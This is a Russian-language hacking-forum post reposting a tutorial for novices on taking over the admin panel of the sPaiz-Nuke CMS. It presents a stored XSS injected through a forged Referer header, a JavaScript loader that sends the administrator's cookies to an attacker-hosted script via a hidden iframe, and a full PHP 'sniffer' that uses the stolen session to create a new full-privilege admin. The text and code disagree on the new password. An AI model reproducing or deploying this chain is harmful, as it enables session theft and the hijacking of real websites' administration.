• XSS.stack #1 – первый литературный журнал от юзеров форума

Получаем админку в sPaiz-Nuke

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
Нашел весьма интересную статью по взлому популярного двига: sPaiz-Nuke для Ньюбаев и др. малообразованных (в хаке) новичков.
Читаем:

------------------------------------------
Итак, сейчас хочу рассмотреть одну из активных XSS уязвимостей, которая позволяет атакующему захватить кукисы администратора, и тем самым, авторизироватся под админом посредством подстановки его кук. На данном этапе, Я не остановился, и был написан полноценный функциональный сниффер, авторизирующийся под украденными куками, который позволяет создать нового админа с максимальными привилегиями. Само собой, это все происходит за доли секундs, и без никакого палева.
[XSS уязвимость]
Рассмотрим одну из уязвимостей. Она довольно интересная, посему Я остановился именно на ней.
Посмотрим на админку:
http://xss.pro/files/art/spaiznuke3.gif
XSS дырка находится в модуле админки «Переходы с сайтов». Именно там хранятся реферы с других сайтов, повидимому для статистики. Так вот, если отправить запрос сайту с поддельным рефером(Referer), где в его роли будет выступать XSS код, то он успешно сохранится в «Переходы с сайтов». Так как фильтрация в скрипте, отвечающего за проверяние(сохранение) входящего Referer`a, не предусмотрена, то админ просматривая статистику, словит нашу XSS`ку.
Код:
 <td style="text-align:left" class="tab"><a target="_blank" href="<scrіpt>alert(document.cookie)</scrіpt>"><scrіpt& #62alert(document.cookie)</scrіpt> </a></td>
Как же подделать запрос стандартными методами? Можно написать свой собственный скрипт, а можно воспользоватся специальной прогой, например InetCrack &copy;Algol-antichat.ru.
Теперь, если послать поддельный запрос, который ты видишь на скрине, админ словит алерт со своими куками.
http://xss.pro/files/art/spaiznuke1.gif
Само собой, от этого толку мало, посему напишем небольшой скрипт, который будет принимать украденные куки администратора, авторизироватся под ними, заходить в модуль «Управление администраторами» и создавать нового админа с максимальными привилегиями.
[Функциональный сниффер]
Код:
<?
// PinkPanther [PinkPanther@HackZona.ru]
// official HackZona TeaM release

$query=$_SERVER["QUERY_STRING"];
$query=urldecode($query);

//Add new admin
$name="new_admin";
$login="new_admin";
$email="new_admin@admin.ru";
$password="12345";
$host="Yjazvimyj_host";
$full_link="http://".$host."/admin.php?mod=admins";

$data="mod=admins&add_name=".$name."&add_aid=".$login."&add_email=
".$email."&add_pwd=".$password."&mod_list%5B%5D=admins&mod_list%5B%5D=a rticles&mod_list%5B%5D=backup&mod_list%5B%5D=banners&mod_list%5B%5D=block er&mod_list%5B%5D=blocks&mod_list%5B%5D=configur
e&mod_list%5B%5D=files&mod_list%5B%5D=messages&mod_list%5B%5D=modules&m od_list%5B%5D=news&mod_list%5B%5D=optimize&mod_list%5B%5D=pages&mod_list% 5B%5D=polls&mod_list%5B%5D=referers&mod_list%5B%5D=topics&mod_list%5B%5D= uploader&op=AddAdmin";
$data_lenght=strlen($data);

$header="POST ".$full_link." HTTP/1.0 ";
$header.="Referer: ".$full_link." ";
$header.="Content-Type: application/x-www-form-urlencoded ";
$header.="Host: ".$host." ";
$header.="Content-Length: ".$data_lenght." ";
$header.="Cookie:".$query." ";
$header.=" ";
$header.="".$data."";

$fp=fsockopen("$host", 80);
fwrite($fp, $header);
fclose($fp);
?>
[Собираем все вместе]
Теперь соберем все вместе.
Для начала составим XSS сплойт, который бы отсылал админские куки на наш скрипт. Стандартная конструкция нам не подойдет, ибо максимальная длинна Referer`a должны быть не больше 60 символов. Посему, прийдется подгружать скрипт с удаленного ресурса.
Поместим на наш сайт(«site») файл 1.js, в который впишем, например, такую вот строку:
Код:
document.write('<iframe width=0 height=0 srс="'+'http://site/nuke.php'+ '?'+document.cookie+'"></iframe>');
где, «site» – это сайт на котором находится наш php скрипт называющийся nuke.php.
После отправим запрос уязвимому ресурсу, где в Referer поместим строку:
Код:
 <scrіpt srс='http://site/1.js'></scrіpt>
Теперь, когда администратор просмотрит «Переходы с сайтов», его куки улетят на функциональный сниффер, который создаст нового админа с именем «new_admin» и паролем «123456».
http://xss.pro/files/art/spaiznuke2.gif
http://xss.pro/files/art/spaiznuke4.gif
Сайт на котором будет находится наш php сплойт, должен поддерживать выполнение php .
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх